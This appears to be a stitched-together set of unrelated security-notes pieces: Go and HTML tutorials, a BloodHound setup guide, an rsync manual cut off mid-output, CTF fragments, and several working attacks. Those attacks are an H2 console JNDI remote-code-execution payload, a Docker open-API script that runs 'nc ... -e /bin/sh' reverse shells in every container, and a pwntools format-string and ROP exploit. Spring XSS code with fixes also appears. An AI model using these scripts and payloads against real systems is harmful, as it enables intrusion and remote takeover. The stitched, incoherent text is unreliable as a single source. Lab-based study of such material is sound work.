Jun 22 16:54 usr drwxr-xr-x 9 root root 1024 Jun 22 16:54 var ``` One file stands out: ```console root@kali:~/CTFs/google# cp /media/m/.mediapc_backdoor_password.gz . root@kali:~/CTFs/google# gunzip .mediapc_backdoor_password.gz root@kali:~/CTFs/google# cat .mediapc_backdoor_password CTF{I_kn0W_tH15_Fs} root@kali:~/CTFs/google# umount /media/m ``` The flag: CTF{I_kn0W_tH15_Fs}
sec-knowleage
# time 包 --- **Source & Reference** - [Go语言time包:时间和日期](http://c.biancheng.net/view/5392.html) --- time 包为我们提供了一个数据类型 time.Time(作为值使用)以及显示和测量时间和日期的功能函数. 当前时间可以使用 `time.Now()` 获取,或者使用 `t.Day()`、`t.Minute()` 等等来获取时间的一部分;甚至可以自定义时间格式化字符串,例如:`fmt.Printf("%02d.%02d.%4d\n", t.Day(), t.Month(), t.Year())` 将会输出 21.07.2011. Duration 类型表示两个连续时刻所相差的纳秒数,类型为 int64.Location 类型映射某个时区的时间,UTC 表示通用协调世界时间. 包中的一个预定义函数 func (t Time) Format(layout string) string 可以根据一个格式化字符串来将一个时间 t 转换为相应格式的字符串,可以使用一些预定义的格式,如:time.ANSIC 或 time.RFC822. 一般的格式化设计是通过对于一个标准时间的格式化描述来展现的,这听起来很奇怪,但看下面这个例子就会一目了然: ```go fmt.Println(t.Format("02 Jan 2006 15:04")) ``` 输出: ``` 16 Oct 2019 16:31 ``` --- ```go package main import ( "fmt" "time" ) var week time.Duration func main() { t := time.Now() fmt.Println(t) // 2019-10-16 16:32:19.6001046 +0800 CST m=+0.009992501 fmt.Printf("%02d.%02d.%4d\n", t.Day(), t.Month(), t.Year()) // 16.10.2019 t = time.Now().UTC() fmt.Println(t) // 2019-10-16 08:32:58.7242797 +0000 UTC fmt.Println(time.Now()) // 2019-10-16 16:33:27.3045405 +0800 CST m=+0.080952501 // calculating times: week = 60 * 60 * 24 * 7 * 1e9 // must be in nanosec week_from_now := t.Add(week) fmt.Println(week_from_now) // 2019-10-23 08:33:53.6846208 +0000 UTC // formatting times: fmt.Println(t.Format(time.RFC822)) // 16 Oct 19 08:34 UTC fmt.Println(t.Format(time.ANSIC)) // Wed Oct 16 08:34:26 2019 fmt.Println(t.Format("02 Jan 2006 15:04")) // 16 Oct 2019 08:34 s := t.Format("20060102") fmt.Println(t, "=>", s) // 2019-10-16 08:34:26.5230908 +0000 UTC => 20191016 } ``` 如果需要在应用程序在经过一定时间或周期执行某项任务(事件处理的特例),则可以使用 time.After 或者 time.Ticker.另外,time.Sleep(Duration d)可以实现对某个进程(实质上是 goroutine)时长为 d 的暂停.
sec-knowleage
# HTML 超文本标记语言(HyperText Markup Language)是一种用于创建网页的标准标记语言, 您可以使用 HTML 来建立自己的 WEB 站点,HTML 运行在浏览器上,由浏览器来解析 ### 什么是 HTML? > HTML 是用来描述网页的一种语言 - HTML 指的是超文本标记语言 (Hyper Text Markup Language) - HTML 是用来描述网页的一种语言 - HTML 不是一种编程语言,而是一种标记语言 (markup language) - 标记语言是一套标记标签 (markup tag) - HTML 使用标记标签来描述网页 ### HTML 文件 - HTML 文档描述网页 - HTML 文档包含 HTML 标签和纯文本 - HTML 文档也被称为网页 HTML 文件一般以`.htm`或`.html`作为后缀,可以用 Web 浏览器打开。 Web 浏览器的作用是读取 HTML 文档,并以网页的形式显示出它们。浏览器会将 HTML 标签解释为网页 ### HTML 网页结构 ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Document</title> </head> <body> </body> </html> ``` ### `<!DOCTYPE>`声明 1. `<!DOCTYPE>` 声明位于文档中的最前面的位置,处于`<html>`标签之前 2. <!DOCTYPE> 声明不是一个 HTML 标签;它是用来告知 Web 浏览器页面使用了哪种 HTML 版本 3. `<!DOCTYPE>`声明有助于浏览器中正确显示网页,网络上有很多不同的文件,如果能够正确声明HTML的版本,浏览器就能正确显示网页内容 4. 使用`HTML`元素前,先参阅[`HTML`元素与合法的`Doctype`](http://www.runoob.com/tags/html-elementsdoctypes.html),看看每一个`HTML`元素都出现在哪一种`Doctype`中 5. 在`HTML 4.01`中,`<!DOCTYPE>`声明需引用`DTD`(文档类型声明),因为`HTML 4.01`是基于`SGML`(Standard Generalized Markup Language 标准通用标记语言)`DTD`指定了标记语言的规则,确保了浏览器能够正确的渲染内容。HTML5 不是基于`SGML`,因此不要求引用`DTD`。 #### HTML 5 ``` <!DOCTYPE html> ``` #### HTML 4.01 Strict 这个 DTD 包含所有 HTML 元素和属性,但不包括表象或过时的元素(如 font )。框架集是不允许的 ```html <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> ``` #### HTML 4.01 Transitional 这个 DTD 包含所有 HTML 元素和属性,包括表象或过时的元素(如 font )。框架集是不允许的 ```html <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> ``` #### HTML 4.01 Frameset 这个 DTD 与 HTML 4.01 Transitional 相同,但是允许使用框架集内容 ```html <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd"> ``` #### XHTML 1.0 Strict 这个 DTD 包含所有 HTML 元素和属性,但不包括表象或过时的元素(如 font )。框架集是不允许的。结构必须按标准格式的 XML 进行书写 ```html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> ``` #### XHTML 1.0 Transitional 这个 DTD 包含所有 HTML 元素和属性,包括表象或过时的元素(如 font )。框架集是不允许的。结构必须按标准格式的 XML 进行书写 ```html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> ``` #### XHTML 1.0 Frameset 这个 DTD 与 XHTML 1.0 Transitional 相同,但是允许使用框架集内容 ```html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd"> ``` #### XHTML 1.1 这个 DTD 与 XHTML 1.0 Strict 相同,但是允许您添加模块(例如为东亚语言提供 ruby 支持) ```html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> ``` **小贴士**: 1. DOCTYPE 声明不区分大小写 2. `<!DOCTYPE>`标签没有结束标签 3. 使用 [W3C 的验证](http://validator.w3.org/) 检查您是否编写了一个带有正确 DTD 的合法的`HTML/XHTML`文档 ### 参考 - 菜鸟教程:[点击进入](http://www.runoob.com/) - W3 school:[点击进入](http://www.w3school.com.cn/) - MDN HTML文档:[点击进入](https://developer.mozilla.org/zh-CN/docs/Web/HTML) - 梦之都教程:[点击进入](http://www.dreamdu.com/xhtml/)
sec-knowleage
# H2 Database Web Console Unauthorized Access [中文版本(Chinese Version)](README.zh-cn.md) H2 database is a embedded in-memory database in Java. Springboot with h2 database comes with a web management page which has no authentication if you set the following options: ``` spring.h2.console.enabled=true spring.h2.console.settings.web-allow-others=true ``` This management page supports using JNDI to load the JDBC driver, which can lead to remote code execution via remote class loading. References: - <https://mp.weixin.qq.com/s?__biz=MzI2NTM1MjQ3OA==&mid=2247483658&idx=1&sn=584710da0fbe56c1246755147bcec48e> ## Setup Start a spring-boot with h2 database and embedded tomcat: ``` docker compose up -d ``` After started the container, the spring-boot is listening on `http://your-ip:8080`, the management page is `http://your-ip:8080/h2-console/` by default. ## Vulnerability Reproduce Reference to *[Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)*, we should use `org.apache.naming.factory.BeanFactory` and `javax.el.ELProcessor` to launch the external process after Java 8u191: ```java import java.rmi.registry.*; import com.sun.jndi.rmi.registry.*; import javax.naming.*; import org.apache.naming.ResourceRef; public class EvilRMIServerNew { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code ref.add(new StringRefAddr("forceString", "x=eval")); //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } } ``` Simply use this tool *[JNDI](https://github.com/JosephTribbianni/JNDI)* to exploit the vulnerability. First, set up the target command to `touch /tmp/success` at `config.properties`: ![](3.png) Then start the `JNDI-1.0-all.jar`, is will be listening on `0.0.0.0:23456`. fill in the form based on these pieces of information: ![](1.png) `javax.naming.InitialContext` is the JNDI factory class name, URL `rmi://evil:23456/BypassByEL` is your evil RMI address. Evil RMI server received the requests: ![](2.png) `touch /tmp/success` has been execute successfully: ![](4.png)
sec-knowleage
# XSS ## 反射型XSS 下面是一个简单的 Spring Boot Web 应用,其中包含了一个含有 XSS 漏洞的请求处理器。 在这个应用中,我们通过 GET 请求方式访问 `/xss` 接口,输入参数会被直接输出到 HTML 页面中。如果输入参数中包含了恶意脚本,那么这些脚本就会被执行,从而导致 XSS 攻击。 ```java package com.example.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; @RestController public class XssController { @GetMapping("/xss") public String XssTest(@RequestParam String name) { return "<h1>Hello, " + name + "!</h1>"; } } ``` 触发漏洞结果 ![image-20230307163354591](../../.gitbook/assets/image-20230307163354591.png) ## 存储型XSS 数据库插入一条XSS记录 ![image-20230307175101983](../../.gitbook/assets/image-20230307175101983.png) {% tabs %} {% tab title="pom.xml" %} Thymeleaf 是一款常用的模板引擎,它可以将 HTML 页面与 Java 代码进行结合,实现动态渲染 HTML 页面的功能。在 Spring Boot 项目中使用 Thymeleaf,需要在项目的 `pom.xml` 文件中添加以下依赖: ```xml <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-thymeleaf</artifactId> </dependency> ``` 该依赖会自动引入 Thymeleaf 模板引擎及其依赖的其他库,因此不需要额外添加其他依赖。在添加了该依赖后,Spring Boot 会自动配置 Thymeleaf 模板引擎,无需手动进行配置。 {% endtab %} {% tab title="application.properties" %} Spring Boot配置Thymeleaf的三个属性: - `spring.thymeleaf.cache=false`:设置Thymeleaf的缓存是否开启,此处为关闭缓存; - `spring.thymeleaf.prefix=classpath:/templates/`:设置Thymeleaf模板所在的目录,此处为`/templates`; - `spring.thymeleaf.suffix=.html`:设置Thymeleaf模板的后缀名,此处为`.html`。 ```java spring.thymeleaf.cache=false spring.thymeleaf.prefix=classpath:/templates/ spring.thymeleaf.suffix=.html ``` {% endtab %} {% tab title="XssController.java" %} ```java package com.example.controller; import com.example.model.User; import com.example.service.UserService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.servlet.ModelAndView; import java.util.List; @RestController public class XssController { @Autowired private UserService userService; @GetMapping("/xss/user") public ModelAndView listUsers(@RequestParam String name) { List<User> users = userService.findUsersByName(name); System.out.println(users); ModelAndView modelAndView = new ModelAndView(); modelAndView.addObject("users", users); modelAndView.setViewName("userList"); return modelAndView; } } ``` {% endtab %} {% tab title="userList.html" %} `th:utext`会将变量的值直接输出到HTML中,而不是对其进行转义处理。 ```html <!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <head> <meta charset="UTF-8"/> <title>User List</title> </head> <body> <h1>User List</h1> <table> <thead> <tr> <th>ID</th> <th>Name</th> </tr> </thead> <tbody> <!-- 使用 Thymeleaf 的 each 循环遍历用户列表,并生成 HTML 行 --> <tr th:each="user : ${users}"> <td th:utext="${user.id}"></td> <td th:utext="${user.name}"></td> </tr> </tbody> </table> </body> </html> ``` {% endtab %} {% tab title="UserService.java" %} ```java public class UserService { public List<User> findUsersByName(String name) { return userMapper.findUsersByName(name); } } ``` {% endtab %} {% tab title="UserMapper.java" %} ```java public interface UserMapper { List<User> findUsersByName(String name); } ``` {% endtab %} {% tab title="UserMapper.xml" %} ```xml <select id="findUsersByName" resultType="User"> SELECT * FROM users where name = #{name} </select> ``` {% endtab %} {% endtabs %} ![image-20230307175514851](../../.gitbook/assets/image-20230307175514851.png) ## dom xss {% tabs %} {% tab title="XssController.java" %} ```java package com.example.controller; import com.example.model.User; import com.example.service.UserService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.servlet.ModelAndView; import java.util.List; @RestController public class XssController { @GetMapping("/xss/index") public ModelAndView index() { ModelAndView modelAndView = new ModelAndView(); modelAndView.setViewName("index"); return modelAndView; } @PostMapping("/xss/dom") public ModelAndView xss(@RequestParam("name") String name) { ModelAndView modelAndView = new ModelAndView(); modelAndView.addObject("name", name); modelAndView.setViewName("xss"); return modelAndView; } } ``` {% endtab %} {% tab title="index.html" %} ```html <!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <head> <meta charset="UTF-8"> <title>Spring Boot DOM XSS Demo</title> </head> <body> <form method="post" action="/xss/dom"> <label for="name">Name:</label> <input type="text" id="name" name="name"> <button type="submit">Submit</button> </form> </body> </html> ``` {% endtab %} {% tab title="xss.html" %} ```html <!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <head> <meta charset="UTF-8"> <title>Spring Boot DOM XSS Demo</title> </head> <body> <h1>Hello <span th:text="${name}"></span>!</h1> <p>This is an example of a DOM XSS vulnerability in a Spring Boot application.</p> <script th:inline="javascript"> /*<![CDATA[*/ var name = /*[[${name}]]*/ 'default'; document.write('<p>Welcome ' + name + '!</p>'); /*]]>*/ </script> </body> </html> ``` {% endtab %} {% endtabs %} ![image-20230308100631966](../../.gitbook/assets/image-20230308100631966.png) 查看页面源代码,可以看到插入到JS里面 ![image-20230308100604669](../../.gitbook/assets/image-20230308100604669.png) ## 修复代码 ### HtmlUtils类 使用Spring框架提供的HtmlUtils类对用户输入进行转义 ```java package com.example.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.util.HtmlUtils; @RestController public class XssController { @GetMapping("/xss") public String XssTest(@RequestParam String name) { String escapedName = HtmlUtils.htmlEscape(name); return "<h1>Hello, " + escapedName + "!</h1>"; } } ``` 查看页面源代码,可以看到已经转义 ![image-20230308100939780](../../.gitbook/assets/image-20230308100939780.png) ### escapeHtml4类 ```java import static org.unbescape.html.HtmlEscape.escapeHtml4; @RestController public class XssController { @GetMapping("/xss") public String XssTest(@RequestParam String name) { String escapedName = escapeHtml4(name); return "<h1>Hello, " + escapedName + "!</h1>"; } } ``` ### HTML编码 ```java public class XssController { public static String escapeHtml(String str) { if (str == null) { return null; } StringBuilder sb = new StringBuilder(); for (char c : str.toCharArray()) { switch (c) { case '<': sb.append("&lt;"); break; case '>': sb.append("&gt;"); break; case '"': sb.append("&quot;"); break; case '\'': sb.append("&#x27;"); break; case '&': sb.append("&amp;"); break; default: sb.append(c); } } return sb.toString(); } @GetMapping("/xss") public String XssTest(@RequestParam String name) { return "<h1>Hello, " + escapeHtml(name) + "!</h1>"; } } ``` ### thymeleaf模板过滤 ```html <!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <head> <meta charset="UTF-8"> <title>User List</title> </head> <body> <h1>User List</h1> <table> <tr> <th>ID</th> <th>Name</th> </tr> <tr th:each="user : ${users}"> <td th:text="${user.id}"></td> <td th:text="${user.name}"></td> </tr> </table> </body> </html> ```
sec-knowleage
### 前言: 在团体渗透测试的项目中,如红蓝对抗,团队渗透测试比赛等,最重要的是过程与结果实时共享于团队,例如:A同学nmap目标站,B同学也nmap目标站,这在对抗比赛中是极其浪费时间也是非常容易引起防火墙,日志服务器或其他设备的警觉。所以打算写一系列关于未来团队渗透的对抗。争取做到过程与结果,团队实时共享。把曾经的团队作战经验形成一个适应对抗,比赛等的参考。 ![](media/ba3b2df4a82d3ccbabaf29028ef6732e.jpg) ### BloodHound简介: BloodHound是2016年出现大家的视线中,它是一个分析和解读AD中权限关系的一个工具。对于攻击者来说,能快速的获取到域中的线索以便进行下一步攻击,而对于防御者来说,可以更快速的得知攻击者可能采取的攻击途径以及域中的可突破的途径。 项目地址: https://github.com/BloodHoundAD/BloodHound Debian上安装: ```bash root@John:~# apt-get install git wget curl root@John:~# wget -O - https://debian.neo4j.org/neotechnology.gpg.key|sudo apt-key add root@John:~# echo 'deb http://debian.neo4j.org/repo stable/' | sudo tee /etc/apt/sources.list.d/neo4j.list root@John:~# apt-get install openjdk-8-jdk openjdk-8-jre root@John:~# apt-get install neo4j root@John:~# echo "dbms.active_database=graph.db" >> /etc/neo4j/neo4j.conf root@John:~# echo "dbms.connector.http.address=0.0.0.0:7474" >> /etc/neo4j/neo4j.conf root@John:~# echo "dbms.connector.bolt.address=0.0.0.0:7687" >> /etc/neo4j/neo4j.conf root@John:~# tail /etc/neo4j/neo4j.conf # Name of the service dbms.windows_service_name=neo4j #******************************************************************** # Other Neo4j system properties #******************************************************************** dbms.jvm.additional=-Dunsupported.dbms.udc.source=tarball dbms.active_database=graph.db dbms.connector.http.address=0.0.0.0:7474 dbms.connector.bolt.address=0.0.0.0:7687 root@John:~j# update-java-alternatives -l java-1.8.0-openjdk-amd64 1081 /usr/lib/jvm/java-1.8.0-openjdk-amd64 root@John:~j# update-java-alternatives -s java-1.8.0-openjdk-amd64 ``` 下载地址:https://neo4j.com/download/ ```bash root@John:~/Downloads# tar zxvf neo4j-community-3.3.0-unix.tar.gz root@John:~/Downloads/neo4j-community-3.3.0/bin# ./neo4j start Active database: graph.db Directories in use: home: /root/Downloads/neo4j-community-3.3.0 config: /root/Downloads/neo4j-community-3.3.0/conf logs: /root/Downloads/neo4j-community-3.3.0/logs plugins: /root/Downloads/neo4j-community-3.3.0/plugins import: /root/Downloads/neo4j-community-3.3.0/import data: /root/Downloads/neo4j-community-3.3.0/data certificates: /root/Downloads/neo4j-community-3.3.0/certificates run: /root/Downloads/neo4j-community-3.3.0/run Starting Neo4j. WARNING: Max 1024 open files allowed, minimum of 40000 recommended. See the Neo4j manual. Started neo4j (pid 4286). It is available at http://localhost:7474/ There may be a short delay until the server is ready. See /root/Downloads/neo4j-community-3.3.0/logs/neo4j.log for current status. ``` ```bash root@John:~# apt-get install bloodhound ``` ![](media/86866588d4eca317b3ffcebe92ea3531.jpg) ```bash root@John:~/Downloads/neo4j-community-3.3.0/bin# nmap 127.0.0.1 -p 7474 Starting Nmap 7.40 ( https://nmap.org ) at 2017-12-02 11:16 EST Nmap scan report for localhost (127.0.0.1) Host is up (0.00011s latency). PORT STATE SERVICE 7474/tcp open neo4j Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds ``` ![](media/061107fe4ab9befe290c2a05bb8f8113.jpg) ![](media/1e17b267ffcbe85dad02b0d6b3850ffe.jpg) ![](media/c6c893ce07c3ee585fdcd8cd27083fdc.jpg) > Micropoor
sec-knowleage
from __future__ import print_function import requests import logging import json import urllib.parse # NOTE # Enable Remote API with the following command # /usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock # This is an intended feature, remember to filter the port 2375.. name = "docker" description = "Docker RCE via Open Docker API on port 2375" author = "Swissky" # Step 1 - Extract id and name from each container ip = "127.0.0.1" port = "2375" data = "containers/json" url = "http://{}:{}/{}".format(ip, port, data) r = requests.get(url) if r.json: for container in r.json(): container_id = container['Id'] container_name = container['Names'][0].replace('/','') print((container_id, container_name)) # Step 2 - Prepare command cmd = '["nc", "192.168.1.2", "4242", "-e", "/bin/sh"]' data = "containers/{}/exec".format(container_name) url = "http://{}:{}/{}".format(ip, port, data) post_json = '{ "AttachStdin":false,"AttachStdout":true,"AttachStderr":true, "Tty":false, "Cmd":'+cmd+' }' post_header = { "Content-Type": "application/json" } r = requests.post(url, json=json.loads(post_json)) # Step 3 - Execute command id_cmd = r.json()['Id'] data = "exec/{}/start".format(id_cmd) url = "http://{}:{}/{}".format(ip, port, data) post_json = '{ "Detach":false,"Tty":false}' post_header = { "Content-Type": "application/json" } r = requests.post(url, json=json.loads(post_json)) print(r)
sec-knowleage
#!/usr/bin/env python from Crypto.Util.number import * from flag import flag import gmpy2 def serifin(a, l): S, s = a, a while True: S += float(a)/float(l) if S - s < .0001: return int(S) + 1 else: s, a = S, float(a)/float(l) def genPrime(nbit): while True: p = getPrime(512) if p % 9 == 1 and p % 27 >= 2: q = gmpy2.next_prime(serifin(p, 3) + serifin(p, 9) + serifin(p, 27)) if q % 9 == 1 and q % 27 >= 2: return int(p), int(q) def encrypt(m, n): m = bytes_to_long(m) assert m < n return pow(m, 3, n) nbit = 512 p, q = genPrime(nbit) n = p * q c = encrypt(flag, n) print 'c =', c print 'n =', n
sec-knowleage
from pwn import * if 0: r = remote("52.30.206.11", 31337) elf = ELF("./libc.so") else: r = process(["./bot", "0"]) elf = ELF("/lib/i386-linux-gnu/libc.so.6") ELF_SYSTEM = elf.symbols["system"] ELF_PUTS = elf.symbols["puts"] first = listen(8888) second = listen(9999) IP = "127.0.0.1" def sendx(s): r.sendline(s) sleep(0.1) def send1(s): first.sendline(s) sleep(0.1) def send2(s): second.sendline(s) sleep(0.1) sendx("%15$x") # Cookie r.recvuntil("Your attempt was: ") cookie = int(r.recvline(), 16) sendx("%19$x") # Ret r.recvuntil("Your attempt was: ") base = int(r.recvline(), 16) - 0x1403 print "Cookie", hex(cookie), "ret", hex(base + 0x1403), "base", hex(base) sendx("%6$n") # Trial sendx(">@!ADMIN!@<") # Pass sendx("2") sendx(IP) sendx("8888") sendx("2") sendx(IP) sendx("9999") send1("3") send1("11") # Short fedback send2("3") send2("9999") # Long feedback send1("derp") send1("y") def make_rop(n): return n + base EXIT = make_rop(0x8e8) FEED = make_rop(0xe10) GOT = make_rop(0x4f64) XCHG = make_rop(0x00002fbd) # xchg ebp, eax ; ret ADD = make_rop(0x00001603) # add byte ptr [ebx + 0x75ff0cec], al ; or al, 0x89 ; ret ADD_CONST = 0x75ff0cec EBP = make_rop(0x00000f59) # pop ebp ; ret EBX = make_rop(0x00000875) # pop ebx ; ret PUTS = make_rop(0xc54) # puts(eax) EAXEBX = make_rop(0x00003027) # add eax, dword ptr [ebx + 0x1400304] ; ret EAX_EBX_CONST = 0x1400304 ADD_EBP_EAX = make_rop(0x00003096) # add ebp, eax ; ret SAFE = make_rop(0x52ac) rop = "" def add_rop(n): global rop rop += struct.pack("<I", (n + 2**32) % 2**32) def set_eax(what): add_rop(EBP) add_rop(what) add_rop(XCHG) def aww(where, what): add_rop(EBX) add_rop(where - ADD_CONST) if what is not None: set_eax(what) add_rop(ADD) for i, c in enumerate(sys.argv[1]): aww(SAFE+4+i, ord(c)) if 1: delta = ELF_SYSTEM - ELF_PUTS + 2**32 delta &= 0xffFFff ss = struct.pack("<I", delta) for i, c in enumerate(ss): print("Add", i, c.encode("hex")) set_eax(0) add_rop(EBX) add_rop(GOT + 0x4f98 - 0x4f64 - EAX_EBX_CONST + i) add_rop(EAXEBX) add_rop(EBP) add_rop(ord(c)) add_rop(ADD_EBP_EAX) add_rop(XCHG) # Now eax has system aww(SAFE + i, None) # Now SAFE has system add_rop(EBX) add_rop(SAFE - 0x34) else: add_rop(EBX) add_rop(GOT) #pid = pidof(r)[0] #print(open("/proc/%d/maps" % pid).read()) set_eax(SAFE + 4) add_rop(PUTS) # Call [ebx + 0x34] print(hex(ELF_SYSTEM)) print(hex(ELF_PUTS)) send1("a" * 0x34 + struct.pack("<I", cookie) + "a" * 0 + struct.pack("<I", GOT) + "a" * 8 + rop) r.interactive()
sec-knowleage
rsync === 远程数据同步工具 ## 补充说明 **rsync命令** 是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。rsync使用所谓的“rsync算法”来使本地和远程两个主机之间的文件达到同步,这个算法只传送两个文件的不同部分,而不是每次都整份传送,因此速度相当快。 rsync是一个功能非常强大的工具,其命令也有很多功能特色选项,我们下面就对它的选项一一进行分析说明。 ### 语法 ```shell rsync [OPTION]... SRC DEST rsync [OPTION]... SRC [USER@]host:DEST rsync [OPTION]... [USER@]HOST:SRC DEST rsync [OPTION]... [USER@]HOST::SRC DEST rsync [OPTION]... SRC [USER@]HOST::DEST rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST] ``` 对应于以上六种命令格式,rsync有六种不同的工作模式: 1. 拷贝本地文件。当SRC和DES路径信息都不包含有单个冒号":"分隔符时就启动这种工作模式。如:`rsync -a /data /backup` 2. 使用一个远程shell程序(如rsh、ssh)来实现将本地机器的内容拷贝到远程机器。当DST路径地址包含单个冒号":"分隔符时启动该模式。如:`rsync -avz *.c foo:src` 3. 使用一个远程shell程序(如rsh、ssh)来实现将远程机器的内容拷贝到本地机器。当SRC地址路径包含单个冒号":"分隔符时启动该模式。如:`rsync -avz foo:src/bar /data` 4. 从远程rsync服务器中拷贝文件到本地机。当SRC路径信息包含"::"分隔符时启动该模式。如:`rsync -av root@192.168.78.192::www /databack` 5. 从本地机器拷贝文件到远程rsync服务器中。当DST路径信息包含"::"分隔符时启动该模式。如:`rsync -av /databack root@192.168.78.192::www` 6. 列远程机的文件列表。这类似于rsync传输,不过只要在命令中省略掉本地机信息即可。如:`rsync -v rsync://192.168.78.192/www` ### 选项 ```shell -v, --verbose 详细模式输出。 -q, --quiet 精简输出模式。 -c, --checksum 打开校验开关,强制对文件传输进行校验。 -a, --archive 归档模式,表示以递归方式传输文件,并保持所有文件属性,等于-rlptgoD。 -r, --recursive 对子目录以递归模式处理。 -R, --relative 使用相对路径信息。 -b, --backup 创建备份,也就是对于目的已经存在有同样的文件名时,将老的文件重新命名为~filename。可以使用--suffix选项来指定不同的备份文件前缀。 --backup-dir 将备份文件(如~filename)存放在在目录下。 -suffix=SUFFIX 定义备份文件前缀。 -u, --update 仅仅进行更新,也就是跳过所有已经存在于DST,并且文件时间晚于要备份的文件,不覆盖更新的文件。 -l, --links 保留软链结。 -L, --copy-links 想对待常规文件一样处理软链结。 --copy-unsafe-links 仅仅拷贝指向SRC路径目录树以外的链结。 --safe-links 忽略指向SRC路径目录树以外的链结。 -H, --hard-links 保留硬链结。 -p, --perms 保持文件权限。 -o, --owner 保持文件属主信息。 -g, --group 保持文件属组信息。 -D, --devices 保持设备文件信息。 -t, --times 保持文件时间信息。 -S, --sparse 对稀疏文件进行特殊处理以节省DST的空间。 -n, --dry-run 显示哪些文件将被传输。 -w, --whole-file 拷贝文件,不进行增量检测。 -x, --one-file-system 不要跨越文件系统边界。 -B, --block-size=SIZE 检验算法使用的块尺寸,默认是700字节。 -e, --rsh=command 指定使用rsh、ssh方式进行数据同步。 --rsync-path=PATH 指定远程服务器上的rsync命令所在路径信息。 -C, --cvs-exclude 使用和CVS一样的方法自动忽略文件,用来排除那些不希望传输的文件。 --existing 仅仅更新那些已经存在于DST的文件,而不备份那些新创建的文件。 --delete 删除那些DST中SRC没有的文件。 --delete-excluded 同样删除接收端那些被该选项指定排除的文件。 --delete-after 传输结束以后再删除。 --ignore-errors 及时出现IO错误也进行删除。 --max-delete=NUM 最多删除NUM个文件。 --partial 保留那些因故没有完全传输的文件,以是加快随后的再次传输。 --force 强制删除目录,即使不为空。 --numeric-ids 不将数字的用户和组id匹配为用户名和组名。 --timeout=time ip超时时间,单位为秒。 -I, --ignore-times 不跳过那些有同样的时间和长度的文件。 --size-only 当决定是否要备份文件时,仅仅察看文件大小而不考虑文件时间。 --modify-window=NUM 决定文件是否时间相同时使用的时间戳窗口,默认为0。 -T --temp-dir=DIR 在DIR中创建临时文件。 --compare-dest=DIR 同样比较DIR中的文件来决定是否需要备份。 -P 等同于 --partial。 --progress 显示备份过程。 -z, --compress 对备份的文件在传输时进行压缩处理。 --exclude=PATTERN 指定排除不需要传输的文件模式。 --include=PATTERN 指定不排除而需要传输的文件模式。 --exclude-from=FILE 排除FILE中指定模式的文件。 --include-from=FILE 不排除FILE指定模式匹配的文件。 --version 打印版本信息。 --address 绑定到特定的地址。 --config=FILE 指定其他的配置文件,不使用默认的rsyncd.conf文件。 --port=PORT 指定其他的rsync服务端口。 --blocking-io 对远程shell使用阻塞IO。 -stats 给出某些文件的传输状态。 --progress 在传输时显示传输过程。 --log-format=formAT 指定日志文件格式。 --password-file=FILE 从FILE中得到密码。 --bwlimit=KBPS 限制I/O带宽,KBytes per second。 -h, --help 显示帮助信息。 ``` ### 实例 **SSH方式** 首先在服务端启动ssh服务: ```shell service sshd start 启动 sshd: [确定] ``` **使用rsync进行同步** 接下来就可以在客户端使用rsync命令来备份服务端上的数据了,SSH方式是通过系统用户来进行备份的,如下: ```shell rsync -vzrtopg --progress -e ssh --delete work@172.16.78.192:/www/* /databack/experiment/rsync work@172.16.78.192's password: receiving file list ... 5 files to consider test/ a 0 100% 0.00kB/s 527:35:41 (1, 20.0% of 5) b 67 100% 65.43kB/s 0:00:00 (2, 40.0% of 5) c 0 100% 0.00kB/s 